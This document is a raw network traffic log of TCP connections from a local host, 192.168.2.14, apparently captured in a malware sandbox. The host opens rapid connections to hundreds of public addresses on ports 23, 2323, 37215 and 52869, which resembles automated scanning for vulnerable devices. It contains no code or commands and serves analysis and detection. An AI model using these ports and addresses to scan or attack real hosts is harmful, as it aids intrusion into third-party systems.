Dec 4, 2024 20:34:33.140491009 CET	60019	52869	192.168.2.14	197.204.41.151
Dec 4, 2024 20:34:33.140491009 CET	60019	52869	192.168.2.14	41.155.231.218
Dec 4, 2024 20:34:33.140494108 CET	60019	52869	192.168.2.14	197.74.246.79
Dec 4, 2024 20:34:33.140505075 CET	60019	52869	192.168.2.14	197.156.46.243
Dec 4, 2024 20:34:33.140505075 CET	60019	52869	192.168.2.14	41.177.18.175
Dec 4, 2024 20:34:33.140505075 CET	60019	52869	192.168.2.14	156.100.120.179
Dec 4, 2024 20:34:33.140518904 CET	60019	52869	192.168.2.14	156.164.151.187
Dec 4, 2024 20:34:33.140518904 CET	60019	52869	192.168.2.14	197.104.111.70
Dec 4, 2024 20:34:33.140518904 CET	60019	52869	192.168.2.14	197.43.183.77
Dec 4, 2024 20:34:33.140518904 CET	60019	52869	192.168.2.14	156.117.64.196
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	156.127.17.219
Dec 4, 2024 20:34:33.140523911 CET	60019	52869	192.168.2.14	156.70.229.167
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	156.71.161.61
Dec 4, 2024 20:34:33.140527010 CET	60019	52869	192.168.2.14	197.31.224.110
Dec 4, 2024 20:34:33.140523911 CET	60019	52869	192.168.2.14	197.59.90.180
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	197.193.202.132
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	156.151.201.29
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	197.219.9.103
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	156.193.21.190
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	197.158.173.219
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	156.63.238.3
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	197.141.62.154
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	197.117.31.231
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	41.100.156.199
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	197.66.128.84
Dec 4, 2024 20:34:33.140522957 CET	60019	52869	192.168.2.14	156.141.109.255
Dec 4, 2024 20:34:33.140543938 CET	60019	52869	192.168.2.14	156.205.34.188
Dec 4, 2024 20:34:33.140547037 CET	60019	52869	192.168.2.14	197.244.179.100
Dec 4, 2024 20:34:33.140547991 CET	60019	52869	192.168.2.14	41.41.75.231
Dec 4, 2024 20:34:33.140547991 CET	60019	52869	192.168.2.14	197.39.91.152
Dec 4, 2024 20:34:33.140547037 CET	60019	52869	192.168.2.14	156.232.172.5
Dec 4, 2024 20:34:33.140549898 CET	60019	52869	192.168.2.14	156.19.44.252
Dec 4, 2024 20:34:33.140547037 CET	60019	52869	192.168.2.14	197.43.33.149
Dec 4, 2024 20:34:33.140549898 CET	60019	52869	192.168.2.14	156.168.201.98
Dec 4, 2024 20:34:33.140547037 CET	60019	52869	192.168.2.14	197.234.120.211
Dec 4, 2024 20:34:33.140549898 CET	60019	52869	192.168.2.14	156.108.175.150
Dec 4, 2024 20:34:33.140561104 CET	60019	52869	192.168.2.14	156.148.177.71
Dec 4, 2024 20:34:33.140561104 CET	60019	52869	192.168.2.14	197.245.52.83
Dec 4, 2024 20:34:33.140562057 CET	60019	52869	192.168.2.14	41.149.7.97
Dec 4, 2024 20:34:33.140561104 CET	60019	52869	192.168.2.14	197.14.162.221
Dec 4, 2024 20:34:33.140562057 CET	60019	52869	192.168.2.14	41.228.5.175
Dec 4, 2024 20:34:33.140563965 CET	60019	52869	192.168.2.14	41.92.153.77
Dec 4, 2024 20:34:33.140562057 CET	60019	52869	192.168.2.14	156.239.204.245
Dec 4, 2024 20:34:33.140566111 CET	60019	52869	192.168.2.14	197.38.124.201
Dec 4, 2024 20:34:33.140564919 CET	60019	52869	192.168.2.14	156.166.143.58
Dec 4, 2024 20:34:33.140563965 CET	60019	52869	192.168.2.14	156.219.121.64
Dec 4, 2024 20:34:33.140564919 CET	60019	52869	192.168.2.14	156.58.154.252
Dec 4, 2024 20:34:33.140564919 CET	60019	52869	192.168.2.14	156.176.100.208
Dec 4, 2024 20:34:33.140564919 CET	60019	52869	192.168.2.14	41.85.176.134
Dec 4, 2024 20:34:33.140579939 CET	60019	52869	192.168.2.14	41.247.88.102
Dec 4, 2024 20:34:33.140579939 CET	60019	52869	192.168.2.14	156.48.174.11
Dec 4, 2024 20:34:33.140580893 CET	60019	52869	192.168.2.14	156.33.54.190
Dec 4, 2024 20:34:33.140580893 CET	60019	52869	192.168.2.14	156.145.56.15
Dec 4, 2024 20:34:33.140583992 CET	60019	52869	192.168.2.14	197.14.127.60
Dec 4, 2024 20:34:33.140583992 CET	60019	52869	192.168.2.14	41.14.40.244
Dec 4, 2024 20:34:33.140583992 CET	60019	52869	192.168.2.14	197.204.140.87
Dec 4, 2024 20:34:33.140583992 CET	60019	52869	192.168.2.14	156.178.132.147
Dec 4, 2024 20:34:33.140589952 CET	60019	52869	192.168.2.14	41.135.50.7
Dec 4, 2024 20:34:33.140589952 CET	60019	52869	192.168.2.14	156.36.19.174
Dec 4, 2024 20:34:33.140589952 CET	60019	52869	192.168.2.14	41.87.161.160
Dec 4, 2024 20:34:33.140592098 CET	60019	52869	192.168.2.14	41.103.116.192
Dec 4, 2024 20:34:33.140592098 CET	60019	52869	192.168.2.14	156.252.59.35
Dec 4, 2024 20:34:33.140592098 CET	60019	52869	192.168.2.14	197.157.32.201
Dec 4, 2024 20:34:33.140598059 CET	60019	52869	192.168.2.14	156.31.25.189
Dec 4, 2024 20:34:33.140640020 CET	60019	52869	192.168.2.14	41.99.219.85
Dec 4, 2024 20:34:33.140640974 CET	60019	52869	192.168.2.14	197.233.112.238
Dec 4, 2024 20:34:33.140640974 CET	60019	52869	192.168.2.14	197.34.228.53
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	197.45.95.153
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	197.130.187.55
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	156.237.24.144
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	197.114.119.67
Dec 4, 2024 20:34:33.140644073 CET	60019	52869	192.168.2.14	197.6.73.136
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	41.78.3.93
Dec 4, 2024 20:34:33.140644073 CET	60019	52869	192.168.2.14	197.198.162.163
Dec 4, 2024 20:34:33.140644073 CET	60019	52869	192.168.2.14	197.208.138.178
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	41.41.75.118
Dec 4, 2024 20:34:33.140645981 CET	60019	52869	192.168.2.14	156.15.229.44
Dec 4, 2024 20:34:33.140641928 CET	60019	52869	192.168.2.14	197.121.6.24
Dec 4, 2024 20:34:33.140645981 CET	60019	52869	192.168.2.14	41.157.70.165
Dec 4, 2024 20:34:33.140644073 CET	60019	52869	192.168.2.14	197.96.24.38
Dec 4, 2024 20:34:33.140645981 CET	60019	52869	192.168.2.14	156.34.34.95
Dec 4, 2024 20:34:33.140645981 CET	60019	52869	192.168.2.14	156.38.170.226
Dec 4, 2024 20:34:33.140644073 CET	60019	52869	192.168.2.14	41.110.205.35
Dec 4, 2024 20:34:33.140698910 CET	50048	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:33.141166925 CET	40798	52869	192.168.2.14	156.158.251.132
Dec 4, 2024 20:34:33.141170979 CET	23	46360	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:33.141660929 CET	23	47400	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.141663074 CET	50080	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:33.142074108 CET	23	57464	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:33.142121077 CET	36984	52869	192.168.2.14	197.44.237.179
Dec 4, 2024 20:34:33.142447948 CET	54538	37215	192.168.2.14	197.219.190.108
Dec 4, 2024 20:34:33.142452002 CET	56720	37215	192.168.2.14	156.142.202.185
Dec 4, 2024 20:34:33.142452002 CET	59818	37215	192.168.2.14	41.94.156.53
Dec 4, 2024 20:34:33.142466068 CET	48394	37215	192.168.2.14	41.192.132.220
Dec 4, 2024 20:34:33.142472029 CET	55850	37215	192.168.2.14	197.196.253.237
Dec 4, 2024 20:34:33.142474890 CET	37798	37215	192.168.2.14	197.255.15.13
Dec 4, 2024 20:34:33.142477989 CET	57464	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:33.142492056 CET	47400	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.142493010 CET	46360	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:33.142623901 CET	23	38478	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:33.142832994 CET	47400	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.143030882 CET	23	52570	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:33.143182993 CET	43368	52869	192.168.2.14	41.45.75.104
Dec 4, 2024 20:34:33.143634081 CET	47434	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.144052982 CET	46560	52869	192.168.2.14	156.252.220.218
Dec 4, 2024 20:34:33.144675970 CET	57464	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:33.145014048 CET	37032	52869	192.168.2.14	156.35.195.238
Dec 4, 2024 20:34:33.145448923 CET	57502	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:33.145617962 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:33.145617962 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:33.145982027 CET	44086	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:33.146449089 CET	52570	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:33.146450996 CET	38478	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:33.146497011 CET	53508	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:33.146502018 CET	52148	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:33.146523952 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:33.146523952 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:33.146640062 CET	46360	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:33.146985054 CET	60856	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:33.147407055 CET	46408	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:33.147830963 CET	38478	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:33.148091078 CET	38522	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:33.148472071 CET	52570	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:33.148746967 CET	52614	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:33.198410988 CET	37215	40704	156.66.149.192	192.168.2.14
Dec 4, 2024 20:34:33.198496103 CET	40704	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.198698997 CET	40704	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.198698997 CET	40704	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.199012995 CET	41002	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.220782995 CET	23	38160	175.54.171.246	192.168.2.14
Dec 4, 2024 20:34:33.220801115 CET	23	35756	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.220835924 CET	38160	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:33.220896959 CET	23	48452	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.220907927 CET	23	53222	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.220918894 CET	23	39256	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.220928907 CET	23	49900	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.220937014 CET	23	60654	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.221025944 CET	53222	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.221026897 CET	49900	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.221025944 CET	39256	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.221035004 CET	35756	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.221038103 CET	48452	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.221050978 CET	60654	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.238544941 CET	43702	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.238545895 CET	40514	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.238544941 CET	42584	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.238544941 CET	48258	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.238547087 CET	57434	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.238547087 CET	37986	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.238547087 CET	43362	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:33.238558054 CET	42504	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.238558054 CET	55890	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:33.238558054 CET	42098	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:33.238559008 CET	60328	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:33.238574028 CET	41424	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:33.415005922 CET	37215	60275	41.171.16.118	192.168.2.14
Dec 4, 2024 20:34:33.415026903 CET	37215	60275	41.86.83.79	192.168.2.14
Dec 4, 2024 20:34:33.415035009 CET	37215	60275	41.154.34.131	192.168.2.14
Dec 4, 2024 20:34:33.415040016 CET	37215	60275	41.149.45.189	192.168.2.14
Dec 4, 2024 20:34:33.415045977 CET	37215	60275	197.229.233.212	192.168.2.14
Dec 4, 2024 20:34:33.415132046 CET	60275	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.415132046 CET	60275	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.415132999 CET	60275	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.415141106 CET	60275	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.415139914 CET	60275	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.415183067 CET	23	46724	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:33.415297031 CET	52869	60019	41.255.254.183	192.168.2.14
Dec 4, 2024 20:34:33.415309906 CET	46724	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:33.415347099 CET	23	50048	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:33.415344954 CET	60019	52869	192.168.2.14	41.255.254.183
Dec 4, 2024 20:34:33.415425062 CET	52869	43772	156.48.242.95	192.168.2.14
Dec 4, 2024 20:34:33.415466070 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:33.415472984 CET	52869	53508	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:33.415484905 CET	2323	39552	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.415494919 CET	52869	60542	41.117.90.30	192.168.2.14
Dec 4, 2024 20:34:33.415503025 CET	53508	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:33.415504932 CET	23	47400	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.415524006 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:33.415524960 CET	52869	52148	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:33.415534973 CET	23	47434	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.415554047 CET	23	57464	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:33.415563107 CET	52148	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:33.415570974 CET	47434	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.415572882 CET	52869	43772	156.48.242.95	192.168.2.14
Dec 4, 2024 20:34:33.415581942 CET	52869	43772	156.48.242.95	192.168.2.14
Dec 4, 2024 20:34:33.415591002 CET	52869	53508	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:33.415599108 CET	52869	52148	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:33.415607929 CET	52869	60542	41.117.90.30	192.168.2.14
Dec 4, 2024 20:34:33.415616989 CET	52869	60542	41.117.90.30	192.168.2.14
Dec 4, 2024 20:34:33.415625095 CET	23	46360	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:33.415642023 CET	23	38478	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:33.415669918 CET	23	52570	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:33.415795088 CET	37215	40704	156.66.149.192	192.168.2.14
Dec 4, 2024 20:34:33.415805101 CET	37215	41002	156.66.149.192	192.168.2.14
Dec 4, 2024 20:34:33.415849924 CET	41002	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.415885925 CET	23	57434	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.415887117 CET	46770	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:33.415887117 CET	41002	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.415895939 CET	23	40514	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.415905952 CET	2323	43702	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.415915966 CET	23	42584	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.415925026 CET	2323	48258	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.415929079 CET	57434	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.415931940 CET	40514	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.415935040 CET	23	37986	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.415935040 CET	43702	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.415941954 CET	42584	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.415945053 CET	23	42504	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.415954113 CET	23	43362	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:33.415963888 CET	48258	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.415977955 CET	37986	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.415978909 CET	42504	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.415988922 CET	43362	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:33.415990114 CET	23	49900	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.416011095 CET	23	35756	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.416018963 CET	23	48452	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.416037083 CET	23	53222	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.416047096 CET	23	39256	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.416078091 CET	23	60654	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.416086912 CET	37215	40704	156.66.149.192	192.168.2.14
Dec 4, 2024 20:34:33.416541100 CET	39552	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.416616917 CET	47160	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.417087078 CET	39868	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.417831898 CET	35756	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.417951107 CET	60704	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.418412924 CET	36056	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.418446064 CET	49900	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.418450117 CET	60654	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.418450117 CET	39256	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.418451071 CET	48452	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.418450117 CET	53222	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.419101000 CET	49900	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.419202089 CET	51236	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.419689894 CET	50196	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.420443058 CET	48452	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.420528889 CET	36658	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.421009064 CET	48750	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.421730995 CET	39256	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.421819925 CET	53472	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.422292948 CET	39538	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.422817945 CET	60654	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.423101902 CET	60930	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.423459053 CET	53222	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.423748016 CET	53540	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.536788940 CET	23	46724	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:33.536943913 CET	52869	43772	156.48.242.95	192.168.2.14
Dec 4, 2024 20:34:33.536976099 CET	52869	60542	41.117.90.30	192.168.2.14
Dec 4, 2024 20:34:33.537616968 CET	23	46770	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:33.537669897 CET	46770	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:33.539256096 CET	23	47434	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.539330959 CET	47434	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.539678097 CET	2323	39552	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.539714098 CET	37215	47160	41.171.16.118	192.168.2.14
Dec 4, 2024 20:34:33.539747000 CET	47160	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.539752007 CET	47480	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.539771080 CET	2323	39868	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.539798975 CET	47160	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.539803028 CET	39868	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.539845943 CET	47160	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.540452003 CET	47186	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.540564060 CET	23	35756	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.540620089 CET	37215	41002	156.66.149.192	192.168.2.14
Dec 4, 2024 20:34:33.540652990 CET	41002	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.540653944 CET	37215	60704	41.86.83.79	192.168.2.14
Dec 4, 2024 20:34:33.540688992 CET	60704	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.540770054 CET	23	36056	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.540800095 CET	36056	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.540833950 CET	60704	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.540833950 CET	60704	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.541028976 CET	23	49900	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.541079044 CET	60728	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.541177988 CET	23	57434	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.541187048 CET	23	40514	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.541224957 CET	57434	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.541398048 CET	37215	51236	41.154.34.131	192.168.2.14
Dec 4, 2024 20:34:33.541439056 CET	51236	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.541470051 CET	51236	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.541470051 CET	51236	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.541517019 CET	23	50196	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.541548967 CET	50196	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.541558981 CET	23	48452	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.541593075 CET	2323	43702	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.541610956 CET	37215	36658	197.229.233.212	192.168.2.14
Dec 4, 2024 20:34:33.541651011 CET	36658	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.541685104 CET	23	48750	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.541719913 CET	48750	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.541805029 CET	23	42584	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.541825056 CET	2323	48258	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.541863918 CET	23	37986	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.541873932 CET	23	42504	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.541903019 CET	23	43362	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:33.541934967 CET	57604	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.541990042 CET	23	39256	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.542018890 CET	51260	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.542048931 CET	37215	53472	41.149.45.189	192.168.2.14
Dec 4, 2024 20:34:33.542088032 CET	53472	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.542195082 CET	23	39538	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.542220116 CET	39538	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.542431116 CET	48258	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.542431116 CET	42584	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.542435884 CET	37986	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.542435884 CET	43362	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:33.542437077 CET	42504	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.542437077 CET	40514	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.542458057 CET	43702	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.542531967 CET	23	60654	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.542737961 CET	23	60930	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.542777061 CET	60930	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.542782068 CET	40514	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.542896032 CET	36658	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.542896032 CET	36658	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.543066978 CET	23	53222	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.543332100 CET	40706	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.543417931 CET	23	53540	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.543425083 CET	36682	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.543457985 CET	53540	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.544012070 CET	37986	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.544190884 CET	53472	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.544190884 CET	53472	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.544676065 CET	38172	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.544852972 CET	53496	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.545330048 CET	48258	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.545795918 CET	48446	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.546158075 CET	42504	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.546444893 CET	42692	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.546825886 CET	42584	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.547117949 CET	42772	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.547502995 CET	43702	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.547792912 CET	43888	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.548166037 CET	43362	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:33.548445940 CET	43548	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:33.659918070 CET	23	47434	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.660327911 CET	23	47480	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.660384893 CET	37215	47160	41.171.16.118	192.168.2.14
Dec 4, 2024 20:34:33.660399914 CET	47480	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.661015034 CET	37215	47186	41.171.16.118	192.168.2.14
